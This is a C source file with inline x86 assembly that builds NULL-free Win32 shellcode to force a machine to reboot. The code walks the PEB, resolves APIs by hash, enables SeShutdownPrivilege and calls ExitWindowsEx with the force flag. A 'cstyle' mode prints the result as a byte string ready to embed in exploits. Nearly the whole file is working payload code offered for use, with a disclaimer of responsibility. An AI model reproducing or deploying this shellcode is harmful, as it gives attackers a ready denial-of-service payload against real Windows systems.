/* * Generic reboot shellcode for win32 * * Targets: * * 95/98/ME/NT/2K/XP * * Usage: * * $ reboot.exe * Usage: reboot.exe [test | cstyle] * * To generate usable code: * * $ reboot.exe cstyle * * To test the code: * * $ reboot.exe test * * Your machine should reboot. * * Features/Quirks: * * * No NULLs. * * This cannot be tested from the Windows 95/98/ME command line. * For more information, read the ExitWindowsEx documentation * in the Platform SDK. * * References: * * * PEB lookup based largely on Dino Dai Zovi's peb resolver. * * Disclaimer: * * The author cannot be held responsible for how this code is used. * * Compile: * * cl reboot.c /link /debug * * skape * mmiller@hick.org */ /* * Technical notes * * Hash calculations: * * kernel32 * * LoadLibraryA -> ec0e4e8e * GetCurrentProcess -> 7b8f17e6 * ExitProcess -> 73e2d87e * * user32 * * ExitWindowsEx -> 89dabef5 * * advapi32 * * OpenProcessToken -> 591ea70f * LookupPrivilegeValue -> 97e8c2a2 * AdjustTokenPrivileges -> 24488a0f * * ebp+0x10 -> LoadLibraryA * ebp+0x14 -> GetCurrentProcess * ebp+0x18 -> ExitWindowsEx * ebp+0x1c -> ExitProcess * * ebp+0x20 -> OpenProcessToken * ebp+0x24 -> LookupPrivilegeValue * ebp+0x28 -> AdjustTokenPrivileges * * ebp+0x30 -> token handle */ #include #pragma warning(disable: 4068) void __declspec(naked) reboot_begin() { __asm { entry: jmp startup #include "generic.c" startup: sub esp, 0x60 // Give us some room to work. mov ebp, esp // Use ebp as our frame pointer. call find_kernel32 // Find the base address of kernel32.dll mov edi, eax // Save it in edi shorten_find_function: jmp shorten_find_function_bnc // Jump to the bounce point shorten_find_function_rel: pop eax // Pop the return address sub eax, 0x6a // offset from shorten_find_function_end to find_function shorten_find_function_fixed: mov [ebp + 0x04], eax // Save the absolute address in ebp+0x04 jmp shorten_find_function_end // Jump to the end shorten_find_function_bnc: call shorten_find_function_rel // Call back to relative to get our VMA shorten_find_function_end: mov esi, [ebp + 0x04] // Shortcut find_function in esi resolve_symbols_kernel32: // edi -> kernel32.dll base // LoadLibraryA push 0xec0e4e8e push edi call esi mov [ebp + 0x10], eax // GetCurrentProcess push 0x7b8f17e6 push edi call esi mov [ebp + 0x14], eax // ExitProcess push 0x73e2d87e push edi call esi mov [ebp + 0x1c], eax resolve_symbols_user32: // edi -> user32.dll base xor eax, eax mov ax, 0x3233 push eax push 0x72657375 push esp // Pointer to 'user32' call [ebp + 0x10] // Call LoadLibraryA mov edi, eax // ExitWindowsEx push 0x89dabef5 push edi call esi mov [ebp + 0x18], eax resolve_symbols_advapi32: // edi -> advapi32.dll base xor eax, eax push eax push 0x32336970 push 0x61766461 push esp // Pointer to 'advapi32' call [ebp + 0x10] // Call LoadLibraryA mov edi, eax // OpenProcessToken push 0x591ea70f push edi call esi mov [ebp + 0x20], eax // LookupPrivilegeValueA push 0x97e8c2a2 push edi call esi mov [ebp + 0x24], eax // AdjustTokenPrivileges push 0x24488a0f push edi call esi mov [ebp + 0x28], eax open_process_token: call [ebp + 0x14] // Call GetCurrentProcess lea ebx, [ebp + 0x30] // Get the place to store our token push ebx // Pointer to token handle xor ecx, ecx // Zero ecx mov cl, 0x28 push ecx // TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY push eax // Current process handle call [ebp + 0x20] // Open our token lookup_privilege_value: mov eax, 0x41656765 and eax, 0x92ffffff push eax push 0x6c697669 push 0x72506e77 push 0x6f647475 push 0x68536553 mov ecx, esp // Store the address of 'SeShutdownPrivilege' sub esp, 0x14 // Allocate space for our TOKEN_PRIVILEGES struct mov esi, esp // Save the address of our token privileges struct lea ebx, [esi + 0x08] // Load the address of our tp.Privileges[0].Luid push ebx // Luid pointer push ecx // 'SeShutdownPrivilege' pointer xor ecx, ecx // Zero ecx push ecx // NULL call [ebp + 0x24] // Call LookupPrivilegeValueA adjust_token_privilege: xor ecx, ecx // Zero ecx inc ecx // Inc mov [esi + 0x04], ecx // Set tp.PrivilegeCount to 1 inc ecx // Inc mov [esi + 0x10], ecx // Set tp.Privileges[0].Attributes to SE_PRIVILEGE_ENABLED xor ecx, ecx // Zero ecx push ecx // Return length push ecx // Previous state push ecx // Buffer length lea ebx, [esi + 0x04] // Grab the address of our tp struct push ebx // Our TOKEN_PRIVILEGES struct push ecx // Disable all push [ebp + 0x30] // Our process token call [ebp + 0x28] // Call AdjustTokenPrivileges reboot: xor ecx, ecx // Zero ecx push ecx // Reason mov cl, 0x06 // EWX_REBOOT | EWX_FORCE push ecx // Flags call [ebp + 0x18] // Call ExitWindowsEx exit: push ecx // Reason call [ebp + 0x1c] // Call ExitProcess } } void __declspec(naked) reboot_end() { __asm ret } int main(int argc, char **argv) { if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) reboot_begin(); else if (!strcmp(argv[1], "cstyle")) { unsigned char *start = (unsigned char *)((unsigned char *)reboot_begin); unsigned char *stop = (unsigned char *)((unsigned char *)reboot_end); unsigned char *c = NULL; unsigned long x = 0, length; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)reboot_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)reboot_end + 1) + 5; length = stop - start; fprintf(stdout, "// %lu byte reboot shellcode\n\n", length); fprintf(stdout, "unsigned char reboot[] = \""); for (c = start; x < length; x++) fprintf(stdout, "\\x%2.2x", c[x]); fprintf(stdout, "\";\n\n"); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }